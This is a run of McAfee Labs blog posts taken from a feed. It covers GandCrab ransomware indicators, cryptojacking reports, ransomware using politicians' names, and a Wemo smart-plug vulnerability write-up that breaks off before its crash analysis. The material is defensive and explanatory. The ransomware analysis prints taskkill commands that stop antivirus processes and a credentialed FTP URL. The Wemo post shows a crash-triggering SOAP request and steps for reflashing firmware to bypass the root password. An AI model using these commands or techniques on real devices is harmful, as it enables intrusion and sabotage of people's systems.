This version changes the desktop wallpaper, which is created at runtime and is filled with the extension generated to encrypt the files. (The ransom note text or HTML has the name: <extension_in_uppercase>_DECRYPT. <txt|html>) and the user name of the machine.)

Creating the new wallpaper at runtime.

The username is checked with “SYSTEM.” If the user is “SYSTEM,” the malware puts the name “USER” in the wallpaper.

Checking the name of the user for the wallpaper.

The wallpaper is created in the %TEMP% folder with the name pidor.bmp.

Creating the wallpaper in the temp folder.

Here is an example of strings used in the wallpaper name and to check the name of the user and the format string, whether it is another user, or the final string in the case of SYSTEM user with USER in uppercase.

The name of the wallpaper and special strings.

Finally, the wallpaper is set for any user other than SYSTEM:

Changing the wallpaper.

The malware detects the language of the system and decrypts the strings and writes the correct ransom note in the language of the system.

Coverage

Customers of McAfee gateway and endpoint products are protected against the latest GandCrab versions. Detection names include Ran-Gandcrabv4! and many others.

An independent researcher, Twitter user Valthek, has also created several vaccines. (McAfee has verified that these vaccines are effective.) The version for GandCrab 4.x through 5.0.2 can prevent the files from being encrypted.

For Version 4.x, the deletion of shadow volumes cannot be avoided but at least the files themselves are kept safe.

For Version 5.x, encrypting the files can be avoided but not the creation and changing of the wallpaper, which the malware will still corrupt. The malware cannot create random extensions to encrypt the files but will prepare the string. Running the vaccine a second time removes the wallpaper if it is in the %TEMP% folder.

The vaccine has versions with and without persistence. The version with persistence creates a random filename in a special folder and writes a special random entry in the registry to run each time with the system. In this case, the machine will always be protected against this malware (at least in its current state of October 10, and perhaps in the future).

 

Indicators of compromise

These samples use the following MITRE ATT&CK™ techniques:

  • File deletion
  • System information discovery
  • Execution through API
  • Execution through WMIC
  • Application process discovery: to detect antimalware and security products as well as normal programs
  • Query registry: to get information about keys that the malware needs to create or read
  • Modify registry
  • File and directory discovery: to search for files to encrypt
  • Discovery of network shares to encrypt them
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges
  • Change wallpaper
  • Flood the network with connections
  • Create mutants

Hashes 

  • e168e9e0f4f631bafc47ddf23c9848d7: Version 5.0
  • 6884e3541834cc5310a3733f44b38910: Version 5.0 DLL
  • 2d351d67eab01124b7189c02cff7595f: Version 5.0.2
  • 41c673415dabbfa63905ff273bdc34e9: Version 5.0.2
  • 1e8226f7b587d6cd7017f789a96c4a65: DLL for 32-bit exploit
  • fb25dfd638b1b3ca042a9902902a5ff9: DLL for 64-bit exploit
  • df1a09dd1cc2f303a8b3d5097e53400b: botnet related to the malware (IP 92.63.197.48)

 

The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/feed/ 0
When the Digital Impacts the Physical https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-the-digital-impacts-the-physical/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-the-digital-impacts-the-physical/#respond Tue, 09 Oct 2018 15:00:18 +0000 https://securingtomorrow.mcafee.com/?p=91835 Cyberattacks have always been, well, cyber. Their immediate effects were on our data, our digital information, and our devices…until they weren’t. The interconnected nature of the world and the way it’s built in 2018 has brought us exciting and revolutionary innovations, but it has also been leveraged by hackers to extend the impact of a […]

The post When the Digital Impacts the Physical appeared first on McAfee Blogs.

]]>
Cyberattacks have always been, well, cyber. Their immediate effects were on our data, our digital information, and our devices…until they weren’t. The interconnected nature of the world and the way it’s built in 2018 has brought us exciting and revolutionary innovations, but it has also been leveraged by hackers to extend the impact of a cyberattack beyond the digital sphere into the physical. Pacemakers can be hacked, shocks can be sent to patients remotely. Critical infrastructure can be taken down, rendering cities powerless. Large corporations we trust with our data are violating that trust by collecting our data unknowingly, and even tracking our locations without consent. Cybercrime is no longer just cyber, and it can compromise a lot more than just data.

When you think of one’s well-being, physical health often comes to mind. Hospitals, health care, and medical tools and devices have evolved to become members of an interconnected ecosystem. Many health care systems connect to the internet to operate, the same holds true with numerous medical devices such as pacemakers. But that makes the latter part of the ”Internet of Things,” a growing collection of connected devices which are potentially vulnerable to cyberattack. In fact, there have already been reports of threats to these medical devices. Just last year, the FBI recalled half a million pacemakers, as a crucial flaw was discovered that could expose users to an attack. Additionally, security researchers recently revealed a chain of vulnerabilities in a particular pacemaker brand that an attacker could exploit to control implanted pacemakers remotely and cause physical harm to patients.

Cybercriminals have also set their sights on larger targets when it comes to hacking health care devices and institutions. We’ve seen a handful of hospitals taken offline in recent ransomware attacks, all due to the use of outdated or vulnerable systems. Some of these attacks locked patient data and made proper care unachievable for hours on end.

Hospitals are also not the only type of critical infrastructure that’s been on the victim’s end of a cyberattack. In fact, cybercriminals have recently begun hitting critical infrastructure hard and fast, with dramatic results emerging from their efforts. They’ve infamously put an entire city in the Ukraine out of power for about an hour. Then there was the Schneider Electric hack, in which cybercriminals leveraged a zero-day vulnerability within an industrial plant’s safety system for a cyberattack.

There are also cyber issues that impact our physical safety that don’t even come in the form of an attack. Lately, news has been circulating about big-name companies tracking users’ locations or data, even when certain settings are off or when the user is unaware of the action. Specifically, it was discovered that even if a user disables Location History, Google still tracks users in particular instances — whenever they open up the Maps app, scan the internet for certain things, or receive automatic weather notifications. Even smartwatches have been used recently to record and track kids’ physical location.

Ramifications such as these have changed the nature of privacy, as well as digital and physical safety as we know it. But as the threat landscape is evolving, so is the industry determined to protect innocent users everywhere.

We at McAfee are working together with our entire industry to stop these types of attacks. We’re sharing threat intelligence, resources, and research findings to ensure we put up a united front against these threats. By learning from these attacks, we’re better preparing for those to come.

We believe that together is power. And though these attacks are advanced, we know that acting together to stop them will be even more powerful.

To learn more about McAfee’s approach to protecting against advanced cyberattacks and more, be sure to check us out at @McAfee and @McAfee_Labs.

 

The post When the Digital Impacts the Physical appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-the-digital-impacts-the-physical/feed/ 0
‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/#respond Tue, 25 Sep 2018 04:00:42 +0000 https://securingtomorrow.mcafee.com/?p=91541 As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

]]>
As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking. Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in a quick return on a cybercriminal’s investment.

One of the most significant shifts we see is that cryptojacking is still on the rise, while traditional ransomware attacks—aka “shoot and pray they pay”—are decreasing. Ransomware attacks are becoming more targeted as actors conduct their research to pick likely victims, breach their networks, and launch the malware followed by a high-pressure demand to pay the ransom. Although the total number of ransomware samples has fallen for two quarters, one family continues to spawn new variants. The Scarab ransomware family, which entered the threat landscape in June 2017, developed a dozen new variants in Q2. These variants combined make up more than 50% of the total number of Scarab samples to date.

What spiked the movement, starting in fall 2017, toward cryptojacking? The first reason is the value of cryptocurrency. If attacker can steal Bitcoins, for example, from a victim’s system, that’s enough. If direct theft is not possible, why not mine coins using a large number of hijacked systems. There’s no need to pay for hardware, electricity, or CPU cycles; it’s an easy way for criminals to earn money. We once thought that CPUs in routers and video-recording devices were useless for mining, but default or missing passwords wipe away this view. If an attacker can hijack enough systems, mining in high volume can be profitable. Not only individuals struggle with protecting against these attacks; companies suffer from them as well.

Securing cloud environments can be a challenge. Building applications in the cloud with container technology is effective and fast, but we also need to create the right amount of security controls. We have seen breaches in which bad actors uploaded their own containers and added them to a company’s cloud environment—which started to mine cryptocurrency.

New technologies and improvements to current ones are great, but we need to find the balance of securing them appropriately. Who would guess to use an embedded voice assistant to hack a computer? Who looks for potential attack vectors in new technologies and starts a dialog with the industry? One of those is the McAfee Advanced Threat Research team, which provides most of the analysis behind our threats reports. With a mix of the world’s best researchers in their key areas, they take on the challenge of making the (cyber) world safer. From testing vulnerabilities in new technologies to examining malware and the techniques of nation-state campaigns, we responsibly disclose our research to organizations and the industry. We take what we learn from analyzing attacks to evaluate, adapt, and innovate to improve our technology.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/feed/ 0
Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-threat-alliance-releases-analysis-of-illicit-cryptocurrency-mining/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-threat-alliance-releases-analysis-of-illicit-cryptocurrency-mining/#respond Wed, 19 Sep 2018 13:00:31 +0000 https://securingtomorrow.mcafee.com/?p=91531 In response to the explosive increase in cryptomining campaigns in Q4 2017, the Cyber Threat Alliance has formed a cryptomining subcommittee to assess the threat.

The post Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining appeared first on McAfee Blogs.

]]>
In response to the explosive increase in cryptomining campaigns in Q4 2017, the Cyber Threat Alliance has formed a cryptomining subcommittee to assess the threat. This committee comprises expert researchers from major cybersecurity companies, including McAfee. The committee has now released “The Illicit Cryptocurrency Mining Threat,” an in-depth report on the current state of unlawful cryptomining. In the report we explain what led to the recent rise in cryptomining-based attacks, their impact, defense recommendations, and predictions for future evolution of the attack. As members of the Cyber Threat Alliance and the cybersecurity community, we hope that individuals and enterprises can use our research to protect themselves from this threat and improve global security.

The Rise of Illicit Cryptocurrency Mining

To understand the cryptomining threat we need to go back only to late 2017 and early 2018 to see the dramatic growth of cryptomining incidents. Since 2017, the combined data of several CTA members shows a 459% increase in detections of mining malware.

(Figure numbers are out of sequence. They are borrowed from the CTA report.)

The increase of mining malware positively correlates with the growth of the value of coins. Specifically, in late 2017 we saw the value of Bitcoin soar to US$20,000 per coin. Anything with a high value attracts cybercriminals, and cryptocurrencies experienced some of the most dramatic volatility ever of any currency. Cybercriminals were early adopters of cryptocurrencies and use them to fuel underground economies. They have increasingly turned to mining to increase their funds by stealing the computer power of their victims. This theft is also referred to as cryptojacking.

Cryptocurrency and Mining 

Cryptocurrencies have become an increasingly popular alternative to traditional electronic money (e-money). E-money is based on a fiat currency such as the U.S. dollar. One of the most common examples is prepaid credit cards, which stand for the backing currency without the need for physical cash. Cryptocurrencies are generally not backed by a fiat currency. In fact, they are considered decentralized—meaning there is no central authority.

Monero has several advantages over Bitcoin in terms of privacy and anonymity; this makes it a favorite among bad actors. Beyond anonymity concerns, resources required to mine Monero are significantly lower, enabling more users to participate and increasing the profitability of botnets.

The act of generating the coin is called mining, which is using system resources to solve a complex mathematical problem. Most major coins employ a “proof of work” that uses CPU resources to solve. Large groups of miners, including botnets, can amass their resources, called pool mining, on a single problem. The mining operations result in a solved mathematical equation that returns newly minted coins to the system and validates new transactions.

The State of Illicit Cryptocurrency Mining

Current incidents of illicit cryptomining occur through compiled executables. This practice is called binary-based mining. In the context of the browser, the practice is called browser-based mining. Binary-based cryptomining malware is delivered as a payload, often using spam or exploit kits. Open-source tools often facilitate mining. XMRig is a legitimate tool for mining Monero, yet is also frequently used by malicious actors for illicit cryptomining.

The most common browser-based miner is Coinhive. Used legitimately, it offers an alternative to ad revenue by monetizing system resources. However, it has been widely used without informing users. On occasion the owner of the service is unaware of the mining code; this was the case with a recent attack against both Facebook Messenger and Starbucks Wi-Fi. As of July 2, PublicWWW yielded at least 23,000 websites hosting Coinhive code.

An example of Coinhive script embedded within a website.

Beyond using browsers to gather system resources, malware authors have become increasingly sophisticated in other ways. They have taken advantage of widespread vulnerabilities such as EternalBlue to propagate, or have implemented other techniques for evasion. The Smominru attack was a very profitable campaign leveraging this approach. It used “living off the land” techniques to evade detection and increase its ability to mine Monero.

Impacts of Illicit Cryptocurrency Mining

Cryptomining may have an impact on both the short- and long-term security of an organization or user. Three primary impact areas include:

  • Potential security flaws that can lead to additional attacks
  • Physical damage
  • Impacts to business operations and productivity

If a device is used in an unauthorized way, there is evidence of a potential security flaw that needs to be addressed. In late 2017, misconfigured devices using FTP led to hundreds of thousands of Monero miners on consumer-grade devices. Bad actors can and have used these same flaws for additional attacks against the systems.

Physical damage is also a concern. The CPU-intensive operation of mining will produce excess heat and power consumption. For small devices the immediate concern is battery life. However, for large systems, especially data centers, the activity can increase the failure rate of components; this can have a major effect on the system. Ultimately this may lead to costly repairs or increased hardware requirements to support the expanded load.

Organizations may also see a hit to business operations. Mass-computing projects present a similar concern, albeit for more altruistic purposes. Folding@Home, a medical research project aimed at understanding proteins, can be installed to use computer resources to help the research. However, business operations may be impacted by a loss of productivity or additional costs. Many businesses prohibit installing these types of computing projects to protect against unexpected costs and disruptions.

Recommended Best Practices

Fortunately, the defense against cryptomining is very similar to that against other threats. Cryptomining malware uses the same tools and methods; thus maintaining good security practices goes a long way. These include analysis of non-typical network traffic, and properly configuring and patching systems. A few additional steps specific to cryptomining:

  • Monitor abnormal power consumption and CPU activity
  • Search logs for related mining strings such as Crypto, Coinhive, XMR, Monero, and cpuminer
  • Block mining pool communications
  • Use browser extensions to protect against browser-based cryptocurrency mining

For a more comprehensive list, including recommended Snort rules, see the Recommended Best Practices section of the report.

The Evolution of Illicit Mining

Illicit cryptocurrency mining appears to have a positive correlation with Bitcoin value. As long as cryptocurrencies such as Bitcoin have value, we expect bad actors will continue to mine for profits. Although public cryptocurrencies like Bitcoin may be closely tied to monetary value, private or custom blockchains are also at risk and also need to prepare against future attacks.

Private blockchains, including non-currency-related ones, may carry unique risks. Large blockchains such as Bitcoin are considered immutable due to the difficulty of changing historical ledger data. Private blockchains inherently lack the same scale of adoption and thus may be more susceptible to attacks. The 51% attack is a well-known threat that can take advantage of a smaller network and have a severe impact on the blockchain’s integrity.

With some nation-states already turning to cryptocurrencies to solve economic issues, it is likely that some nation-states will use illicit mining to gain revenue. State-sponsored actors have already been implicated in the theft of cryptocurrencies, as McAfee has reported. Legitimately mined cryptocurrency has been implicated in obfuscating state-sponsored cyber operations, hiding purchases of VPN accounts, servers, and domain registrations.

Conclusion

“The Illicit Cryptocurrency Mining Threat” represents the first joint industry initiative to educate enterprises and consumers about the growing threat of cryptocurrency mining. By improving security postures and adhering to proper security practices, we can increase the difficulty of these attacks succeeding, thus disrupting malicious behavior. Illicit cryptocurrency mining is not a fad. This problem will likely grow in relation to the value of cryptocurrencies. Current infection methods will give way to new techniques and exploits. The attraction of stealing cryptocurrencies may lead actors to develop targeted attacks against private implementations of blockchain as they become more prevalent. For more on illicit cryptomining threats, read the introductory blog, key findings summary, and the full report to learn about this important research.

The post Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-threat-alliance-releases-analysis-of-illicit-cryptocurrency-mining/feed/ 0
Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/#respond Tue, 18 Sep 2018 04:01:37 +0000 https://securingtomorrow.mcafee.com/?p=91510 Politics and ransomware. No, it’s not a lost single from the Oasis back catalogue, but in fact a relatively recent tactic by ransomware developers looking to exploit the profiles of major politicians to install ransomware on victims’ computers. Donald Trump, Angela Merkel, and now Barack Obama all serve as lures for the unsuspecting. Despite its […]

The post Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns appeared first on McAfee Blogs.

]]>
Politics and ransomware. No, it’s not a lost single from the Oasis back catalogue, but in fact a relatively recent tactic by ransomware developers looking to exploit the profiles of major politicians to install ransomware on victims’ computers. Donald Trump, Angela Merkel, and now Barack Obama all serve as lures for the unsuspecting. Despite its claims, does the “Obama campaign” deliver the ransomware it advertises? Well, perhaps not.

The Obama campaign

Recently identified by the MalwareHunterTeam and documented by Bleeping Computer, the Obama campaign displayed some confusing characteristics. For example, it encrypted only .exe files and asked for a tip to decrypt the files. This campaign does not behave like normal ransomware variants, which typically target user data files rather than .exe files.

This unorthodoxy got us thinking: Was there a nation-state behind this campaign? At present, there is not enough evidence to confirm its source, although the language resources are in simplified Chinese. We discovered the following graph inside the ransomware:

As the MalwareHunterTeam documented, the ransomware attempts to kill processes associated with certain antimalware products:

  • .rdata:004DAC80 0000001B C taskkill /f /im kavsvc.exe
  • .rdata:004DAC9B 00000019 C taskkill /f /im KVXP.kxp
  • .rdata:004DACB4 00000018 C taskkill /f /im Rav.exe
  • .rdata:004DACCC 0000001B C taskkill /f /im Ravmon.exe
  • .rdata:004DACE7 0000001D C taskkill /f /im Mcshield.exe
  • .rdata:004DAD04 0000001D C taskkill /f /im VsTskMgr.exe
  • .rdata:004DAD21 00000024 C SOFTWARE\\360Safe\\safemon\\ExecAccess
  • .rdata:004DAD45 00000023 C SOFTWARE\\360Safe\\safemon\\MonAccess
  • .rdata:004DAD68 00000024 C SOFTWARE\\360Safe\\safemon\\SiteAccess
  • .rdata:004DAD8C 00000025 C SOFTWARE\\360Safe\\safemon\\UDiskAccess

Note, however, that the access protection enabled within McAfee software prevented the termination of this process:

These curiosities made us wonder about the purpose of the ransomware. Was this indeed ransomware and, if so, why encrypt only .exe files? Our initial suspicions were immediately confirmed when we found a cryptocurrency coin mining component within the malware. In fact, the miner sample was almost identical to the ransomware component, with almost 80% code reuse. These similarities are highlighted below.

Executable extension search function:

Code flow in the “Obama campaign” ransomware.

Code flow in the coin miner sample.

We also found this URL pointing to an FTP server:

  • FtpMoney812345 db ‘ftp://money8:12345678@xxxxxxxxxx.net/88.txt

The Trump campaign

A ransomware campaign leveraging images of Donald Trump has been previously documented. Is it possible that the two politicians are aligned with the same cybercriminal group looking to exploit their profiles?

  

As previously reported, this variant was only a development version—encrypting files with AES and using the following .encrypted extension:

However, this ransomware can “decrypt” the files if one clicks on an “unlock files” button.

Code referencing decryption by button click:

And for unlocking files:

The Angela Merkel campaign 

 

The use of Angela Merkel and her profile is new to the discussion. “Her” campaign encrypts files using the .angelamerkel extension. The original name of this ransomware was ChromeUpadter.exe; it also uses AES to encrypt files. It employs the Euro in its ransom demands. Perhaps a European figure evokes the Euro?

This ransomware encrypts the following files:

Malware developers are fond of exploiting famous names to lure unsuspecting victims. Although it would be simple to claim an increase in politically motivated ransomware, or rather ransomware that leverages the profiles of political figures, there is no significant evidence to suggest they are from the same threat actor. Equally, these campaigns might not even be ransomware, certainly in the case of the Obama campaign.

Does this examination suggest three separate campaigns? There are some links and, no, they are not between Obama and Trump. The Trump and Merkel ransomware are 46% identical in code. We are left wondering whose campaign is the most successful. We shall see.

The post Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/feed/ 0
McAfee Opens State-of-the-Art Security Research Lab in Oregon https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-opens-state-of-the-art-security-research-lab-in-oregon/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-opens-state-of-the-art-security-research-lab-in-oregon/#respond Wed, 22 Aug 2018 17:00:56 +0000 https://securingtomorrow.mcafee.com/?p=90950 Today we are pleased to announce the grand opening of our dedicated research lab in the Hillsboro, Oregon, office near Portland.

The post McAfee Opens State-of-the-Art Security Research Lab in Oregon appeared first on McAfee Blogs.

]]>
McAfee’s Advanced Threat Research team has operated from several locations around the world for many years. Today we are pleased to announce the grand opening of our dedicated research lab in the Hillsboro, Oregon, office near Portland. Although we have smaller labs in other locations, the new McAfee Advanced Threat Research Lab was created to serve two purposes. First, it gives our talented researchers an appropriate work space with access to high-end hardware and electronics for discovery, analysis, automation, and exploitation of vulnerabilities in software, firmware, and hardware. Second, the lab will serve as a demo facility, where the Advanced Threat Research team can showcase current research and live demos to customers or potential customers, law enforcement partners, academia, and even vendors.

The lab has been a labor of love for the past year, with many of the team members directly contributing to the final product. Visitors will have the unique opportunity to experience live and recorded demos in key industry research areas, including medical devices, autonomous and connected vehicles, software-defined radio, home and business IoT, blockchain attacks, and even lock picking! Our goal is to make vulnerability research a tangible and relatable concept, and to shed light on the many security issues that plague nearly every industry in the world.

Much of the research highlighted in the lab has been disclosed by McAfee. Links to recent disclosures from the Advanced Threat Research team:

Articles

Podcasts

Security researcher Douglas McKee prepares his demo of hacking a medical patient’s vitals. 

Onsite visitors will have the opportunity to solve a unique, multipart cryptographic challenge, painted on our custom mural wall in the lab. Those who are successful will receive an Advanced Threat Research team challenge coin! We will soon have an official video from the lab’s opening event online.

The post McAfee Opens State-of-the-Art Security Research Lab in Oregon appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-opens-state-of-the-art-security-research-lab-in-oregon/feed/ 0
‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/insight-into-home-automation-reveals-vulnerability-in-simple-iot-product/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/insight-into-home-automation-reveals-vulnerability-in-simple-iot-product/#respond Tue, 21 Aug 2018 04:01:35 +0000 https://securingtomorrow.mcafee.com/?p=91018 Eoin Carroll, Charles McFarland, Kevin McGrath, and Mark Bereza contributed to this report.  The Internet of Things promises to make our lives easier. Want to remotely turn lights and appliances on and off and monitor them online? A “smart plug,” a Wi-Fi–connected electric outlet, is one simple method. But IoT devices can turn into attack […]

The post ‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product appeared first on McAfee Blogs.

]]>
Eoin Carroll, Charles McFarland, Kevin McGrath, and Mark Bereza contributed to this report. 

The Internet of Things promises to make our lives easier. Want to remotely turn lights and appliances on and off and monitor them online? A “smart plug,” a Wi-Fi–connected electric outlet, is one simple method. But IoT devices can turn into attack vectors if they are not properly secured.

The McAfee Labs Advanced Threat Research team is committed to uncovering security issues in both software and hardware to help their developers provide safer products for businesses and consumers. We recently investigated a consumer product produced by Belkin. Our research into the Wemo Insight Smart Plug led to the discovery of an unreported buffer overflow in the libUPnPHndlr.so library. This flaw, CVE-2018-6692, allows an attacker to execute remote code. Following our responsible disclosure policy, we reported this research to Belkin on May 21.

Can this vulnerability lead to a useful attack? A smart plug by itself has a low impact. An attacker could turn off the switch or at worst possibly overload the switch. But if the plug is networked with other devices, the potential threat grows. The plug could now be an entry point to a larger attack. Later in this report, we will look at one possible attack.

Exploring the attack surface

Following the manual’s advice, the team used the Wemo phone application to set up the smart plug. We were able to remotely turn the outlet on and off. We then tested the software, including port scanning, monitoring normal network traffic, and reading online research. The Wemo listens on Universal Plug and Play (UPnP) ports TCP 49152 and 49153. The manuals, disassembly images, and the general-purpose programming language (GPL) were all online; they provided information on CPU architecture, the operating system, and applications.

We turned to the hardware and disassembled the device. We identified chips on the main board, found headers for communicating with the device, and pulled the memory off flash. Our online research provided datasheets for each of the chips on the board.

We found universal asynchronous receiver-transmitter (UART) pads on the board and confirmed them with the documentation. We soldered wires to these headers to discover if they were actively transmitting. To test communication with the device, we used an Exodus XI Breakout board, shown below:

After brute-forcing the baud rate, we were able to get debug information via the UART interface. The UART also provided a login prompt; however, neither online research nor simple guessing led us to a working password.

Extraction and firmware analysis

The flash chip discovered on the board was a Maxronix MX25L12835F, which is supported by flashrom, a well-known open-source tool for extracting firmware. Using flashrom and the XI Breakout board, we extracted the firmware from the Wemo device. After we obtained the original firmware image shipped with the device, we updated it using the Wemo mobile application. Once the device was updated, we again extracted the firmware from the device, providing us with a second image. We ran basic sanity checks with the new firmware to ensure our earlier software reconnaissance had not changed.

With the firmware extracted, we analyzed the firmware using binwalk, an open-source binary analysis tool. Binwalk extracted the file system from the firmware for further inspection. Access to the file system allowed us to review system configuration and access binaries.

Finding a vulnerability 

Network or remote vulnerabilities are more dangerous than local flaws, so we took a close look at the UPnP ports listening on the local network. During this testing phase our lead analyst was taking a class on Exodus Intelligence Embedded Exploitation. One of the class instructors, Elvis Collado (@b1ack0wl) was developing a UPnP fuzzer and offered to assist our efforts. Using this tool we started fuzzing the open UPnP ports, while monitoring the UART interface on the Wemo. After a short time we saw a crash on the UART interface.

11:37:16.702 stuntsx0x46ac6 STUN client transaction destroyed
sending SIGSEGV to wemoApp for invalid write access to
464d4945 (epc == 2ac1fb58, ra == 2ac1fccc)
Cpu 0
$ 0 : 00000000 00000001 0000006d 464d4945
$ 4 : 31d2e654 31d2e770 00000003 00000001
$ 8 : 0000007c fffffff8 00000007 00000002
$12 : 00000200 00000100 00000807 00000800
$16 : 31d2e6f0 31d2e898 004a1cb8 00000002
$20 : 31d2e638 31d2e6c0 004a1388 31d2e640
$24 : 00000400 2ac1fb30
$28 : 2ac77d40 31d2e600 31d2e648 2ac1fccc
Hi : 00000008
Lo : 00000000
epc : 2ac1fb58 Tainted: P
ra : 2ac1fccc Status: 0100fc13 USER EXL IE
Cause : 8080000c
BadVA : 464d4945
PrId : 0001964c
Modules linked in: softdog rt_rdm rt2860v2_ap(P) raeth
Process wemoApp (pid: 2157, threadinfo=80fa0000, task=802c87f0)
Stack : 2a0000d0 fffffffe 31d2e6f0 31d2e770 31d2e76f 31d2e6f0 31d2e6f0 31d2e770
00000000 31d2e604 00000000 00000000 2ac77d40 00000000 4f464751 4a484d4c
4e444241 47454f49 50464658 45414d42 43445044 464d4945 5552414c 46495048
4b524141 41445a4f 44534e4a 4e4e494c 44434357 494a4855 44515455 44494b45
55584a44 584e4f52 545a5247 51545954 595a4c42 4e594a45 484f5158 46474944

Call Trace:

Code: 80a20000 50480004 a0600000 <5440fffa> a0620000 a0600000 10a00006 24840004 24a50001
thready: Destructor freeing name “ChildFDTask”.
Aborted

After repeating and closely observing the experiment several times, we determined that the crash was caused by the following packet:

POST /upnp/control/basicevent1 HTTP/1.1
Host: 192.168.225.183:49154
User-Agent: python-requests/2.9.1
Accept: */*
Connection: keep-alive
SOAPAction: “urn:Belkin:service:basicevent:1#UpdateInsightHomeSettings”
Content-Type: text/xml
Accept-Encoding: gzip, deflate
Content-Length: 3253

<?xml version=”1.0″ ?><s:Envelope s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”><s:Body><b1ack0wl_ns:UpdateInsightHomeSettingsxmlns:b1ack0wl_ns=”urn:Belkin:service:basicevent:1″><EnergyPerUnitCost>210</EnergyPerUnitCost><Currency>236</Currency><EnergyPerUnitCostVersion>KWWZWIVYBQZKDGSSAAPBCQVQQFAVYZEOEUFIDXXQPDYGESTOD
GIJFERXZNMYAFJQLUZPSIJXFQSPADCRIVHDAJLLPQMPLAVECIQUWLXDLIGPLBKCROGPOCVUI
KTSLIIXULOEBVFKWIERCFGHWHCBBDLWFBKBZXAVGRKTDALDNRPOFQJDXAEOC(…snip…)XHU
OUZPCHUBFGLLWSJBFYFOMCGZZMJIQIUVCDETFBRBZVDVKNBVZFBRSVBSZPAYKZYNQZEQPDV
DWSZNDUPUDCPAVWNFBFBTYMXTBNCWTBJPKORUBHBSCQBPOPOBZNVADMGWRI
</EnergyPerUnitCostVersion></b1ack0wl_ns:UpdateInsightHomeSettings></s:Body></s:Envelope>

For space reasons some of the payload has been removed. (The original data in “EnergyPerUnitCostVersion” was 2,828 characters.) After examining the crash data and the packet, this appears to be a standard buffer overflow, in which data is being overwritten onto the stack. We continued fuzzing, now focused on the “EnergyPerUnitCost” field and found we needed only 32 characters to crash the application.

Although the crash dump provides us with a lot of good information, there is still a lot we do not know. For example, the crash occurs in the “WemoApp” and provides us an offset, but what is the base address of this library? What has been overwritten on the stack? Without access to the application during runtime these questions are difficult to answer. Because we obtained the file system earlier, we could statically analyze the WemoApp binary; but we would still be unable to determine the exact point of the crash easily.

To answer these questions we needed to take one of two paths. We could virtualize the Wemo firmware or binary to continue testing; or if we could determine the root password on the UART interface, there is a chance we could debug on the device itself. Generally, virtualizing firmware is not simple and can sometimes lead to inaccurate test results. It is better to debug on the device. With all the information we found during reconnaissance, it seemed promising that we could bypass the root password. (We did spend some time attempting to virtualize the WemoApp—with no success.)

Bypassing the root password

From the extracted file system, we learned the Wemo runs the embedded Linux system OpenWRT, with the user account information held in either the standard /etc/passwd or /etc/shadow files. We extracted the hash for the root password from /etc/passwd and submitted it to a cracking rig. This method proved ineffective in a reasonable amount of time.

With our ability to read the flash chip we had a good chance to write to the chip. Barring any checksum or validations done on the firmware, we might be able to replace the /etc/passwd file with a known password.

To test this theory, we would have to repack the firmware. Since the GPL for the Wemo is public, we chose to use the same tools used by the developers. Using the GPL, we compiled the same version of squash tools 3.0 with Izma and repackaged the firmware file system with a modified /etc/passwd file. We added padding to ensure the firmware section was the same size as the original. We then used “dd” to insert the new file system segment into the firmware binary. During this process, we discovered that using binwalk to extract the firmware prevented us from correctly repackaging the firmware. We used “dd” with the information provided by binwalk to extract the correct section of the firmware binary for repackaging.

With a new firmware binary in hand, we used the XI Breakout board and flashrom to write the firmware to the flash chip on the board. After rebooting the device, we were able to log in using the new password.

Analyzing the crash 

